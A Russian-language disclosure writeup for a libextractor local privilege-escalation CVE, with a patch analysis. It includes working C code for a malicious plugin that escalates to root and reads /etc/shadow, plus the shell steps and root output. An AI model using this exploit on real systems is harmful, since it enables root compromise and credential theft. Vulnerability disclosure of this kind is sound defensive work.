
Proof-of-concept для CVE-2026-100310 — локальное повышение привилегий в GNU libextractor ≤1.15 через недоверенный путь поиска LIBEXTRACTOR_PREFIX, с кодом эксплойта и анализом патча.
Механизм загрузки плагинов GNU libextractor использует переменную окружения LIBEXTRACTOR_PREFIX для определения каталога, из которого загружаются разделяемые библиотеки (плагины .so). Поскольку используется getenv() вместо secure_getenv(), эта переменная окружения не удаляется, когда процесс выполняется с повышенными привилегиями. Злоумышленник может указать LIBEXTRACTOR_PREFIX на вредоносный каталог, вынудив любое приложение, загружающее плагины libextractor, выполнить произвольный код.
Основное воздействие: Локальное повышение привилегий (LPE) до root.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-100310 |
| Продукт | GNU libextractor |
| Уязвимые версии | >= 0, < 1.16 |
| Исправленная версия | 1.16 |
| CVSS 4.0 | 7.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| Уровень опасности | HIGH |
| CWE | CWE-426 (Untrusted Search Path) |
| Вектор атаки | Локальный |
| Требуемые привилегии | Низкие |
| Взаимодействие с пользователем | Отсутствует |
| CNA | VulnCheck |
| Исследователь | Haitam Lazaar |
Примечание: Для того чтобы эта уязвимость привела к локальному повышению привилегий, администратор должен настроить бинарный файл, который компонуется с
libextractor, установив битsetuid. Хотя самlibextractorне поставляется сsetuid-бинарником, любой привилегированный процесс или системный демон, динамически компонующийся с этой библиотекой и не выполняющий ручную очистку окружения, уязвим к полной компрометации.
setuid-бинарник или привилегированный демон, компонующийся с libextractor
Анимация выше демонстрирует эксплуатацию. Злоумышленник компилирует вредоносную разделяемую библиотеку (evil_plugin.c) и помещает её в /tmp/evil_plugins. При выполнении setuid-бинарника, использующего libextractor, с префиксом команды LIBEXTRACTOR_PREFIX=/tmp/evil_plugins, динамический компоновщик загружает вредоносный плагин с повышенными привилегиями. Это немедленно выполняет произвольные команды от имени root, что демонстрируется записью вывода id и защищённого файла /etc/shadow в /tmp/privesc_proof.
Уязвимость в первую очередь срабатывает при эксплуатации переменной окружения LIBEXTRACTOR_PREFIX.
(Примечание: libextractor также содержит вторичные небезопасные резервные механизмы, использующие /proc/PID/maps и записываемые каталоги PATH, но инъекция переменной окружения является наиболее прямым и надёжным вектором атаки).
/*
* evil_plugin.c — Malicious libextractor plugin for privilege escalation
* Compile: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
*
* Place in a directory and set LIBEXTRACTOR_PREFIX to that directory.
* When any setuid application loads the OLE2 plugin, this constructor
* escalates to full root (uid=0, gid=0) and runs arbitrary commands.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn(void) {
/* Escalate: euid=0 allows setuid(0) which sets real uid=0 */
setuid(0);
setgid(0);
/* Now running as full root — shell commands work */
system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
system("id >> /tmp/privesc_proof");
system("echo '' >> /tmp/privesc_proof");
system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
system("head -3 /etc/shadow >> /tmp/privesc_proof");
}
int _EXTRACTOR_ole2_extract_method = 0;
Протестировано на Ubuntu 24.04 с libextractor 1.14:
# 1. Compile the malicious plugin
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c
# 2. Simulate the misconfigured (setuid) target binary
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract
# 3. Trigger the exploit as an unprivileged user
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)
--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
В src/main/extractor_plugpath.c функция get_installation_paths() вызывает стандартный getenv():
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))
Поскольку она не использует secure_getenv(), динамический компоновщик не удаляет эту переменную, когда бинарник запускается с повышенными привилегиями (в отличие от LD_PRELOAD или LD_LIBRARY_PATH). Затем lt_dlopenadvise() слепо загружает libextractor_<name>.so из контролируемого злоумышленником пути.
Сопровождающий исправил это в версии 1.16, заменив getenv() на secure_getenv(), которая возвращает NULL, когда процесс выполняется с повышенными привилегиями (euid != uid).
- if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+ if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))
Обнаружено мной (Haitam Lazaar) в ходе моих независимых исследований в области безопасности.
Особая благодарность Christian Grothoff, сопровождающему GNU libextractor, за невероятно быструю обработку, профессиональную коммуникацию и оперативное развёртывание патчей (v1.15, v1.16 и v1.17) для устранения этой и нескольких других проблем безопасности памяти, о которых было сообщено в ходе этого аудита.
Моё исследование предоставлено в образовательных и защитных целях. Используйте ответственно.